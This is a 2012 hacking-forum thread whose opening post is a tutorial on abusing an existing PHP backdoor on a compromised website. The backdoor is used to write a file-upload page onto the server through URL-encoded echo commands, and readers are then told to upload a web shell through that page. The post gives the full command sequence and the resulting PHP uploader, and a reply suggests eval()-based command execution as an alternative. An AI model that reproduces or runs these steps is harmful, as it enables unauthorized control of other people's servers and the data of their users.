

Forum:[Hack Forums](#)

Thread: [\[Tutorial\]Upload a shell through <?php system\(\\$_GET\['cmd'\]\); ?>](#)

AwwwYeah - August 22, 2012, 12:05 pm

Just a tutorial that was made in 2 minutes.

Sometimes people have backdoored PHP files with
PHP Code

```
<?php system($_GET['cmd']); ?>
```

This tutorial is for people that can't upload a shell through wget/curl (Windows Server for example)

--

Open up the file...ex:

PHP Code

```
<?php
```

```
http://site.com/index.php?cmd=
```

Now write these lines after the "cmd=" and press enter.

Take line one, paste it after cmd=, press enter.

Then take line two, paste it..

till ure done.

PHP Code

```
<?php
```

```
echo%20^<?php%20>>test.php
```

```
echo%20echo%20'^<b>^<br>^<br>'.php_uname().'<br>^</b>';>>test.php
```

```
echo%20echo%20
```

```
'^<form action^="" method^="post" enctype^="multipart/form-data" name^="uploader" id^="uploader" ^>';>>test.php
```

```
echo%20echo%20'^<input%20type^="file"%20name^="file"%20size^="50"^>>>test.php
```

```
echo%20^<input%20name^="_upl"%20type^="submit"%20id^="_upl"%20value^="Upload"^>^</form ^>';>>test.php
```

```
echo%20if(%20$_POST['_upl']%20^=^%20"Upload"%20)%20{>>test.php
```

```
echo%20if(@copy($_FILES['file']['tmp_name'],%20$_FILES['file']['name']))%20{%20echo%20'^<b>Upload%20SUKSES%20!!!^</b>>>test.php
```

```
echo ^<br>^<br>'; }>>test.php
```

```
echo%20else%20{%20echo%20'^<b>Upload%20GAGAL%20!!!^</b>^<br>^<br>';%20}>>test.php
```

```
echo%20}%20>>test.php
```

echo%20?^>>>test.php

After you insert that, the test.php file looks like this:

PHP Code

```
<?php
echo '<b><br><br>'.php_uname().'\<br></b>';
echo
'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
<input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b>
<br><br>'; }
else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>
```

then just visit "test.php" and upload ur shell.

DEX|TER - August 22, 2012, 12:59 pm

thank you, i was looking for smething like this.

Jae? - August 22, 2012, 1:30 pm

Great little tutorial. Never really thought about using a method like this so thanks for sharing. I wouldn't consider it useless either, so take it out of your title.

AwwwYeah - August 23, 2012, 7:41 am

well edited the thread title xd

thanks for the feedback

rPwnz - August 23, 2012, 7:48 am

Indonesian ,LOL :-)

Code Upload GAGAL !!!

Upload SUKSES !!!

[code]

Eriksson - August 23, 2012, 8:08 am

Nice tutorial mate, keep it up good work (;

Zixem - August 23, 2012, 8:48 am

I think that will be more comfortable to use eval() function, then run it as:

file.php?cmd=system('hey_there');

Because if system() function is unavailable you can switch it faster and just try:

file.php?cmd=exec('hey_there');

And not to create new file with other system execution functions.

Anyway, nice tut buddy :3

x00 - August 23, 2012, 11:58 am

you do that?

and you're an uber?

wtf.

AwwwYeah - August 23, 2012, 1:49 pm

(Aug 23, 2012 08:48 AM)PonyBlaze Wrote: [\[CITE\]](#) I think that will be more comfortable to use eval() function, then run it as: file.php?cmd=system('hey_there');

Because if system() function is unavailable you can switch it faster and just try: file.php?cmd=exec('hey_there');

And not to create new file with other system execution functions.

Anyway, nice tut buddy :3

well the tutorial was made in ~2 minutes and i didn't try any other way D;

(Aug 23, 2012 11:58 AM)x00 Wrote: [\[CITE\]](#) you do that?
and you're an uber?

wtf.

Ub3r is just a group?

When you're so pro, why are you a normal member ?

Atleast i've made a tutorial instead of you D;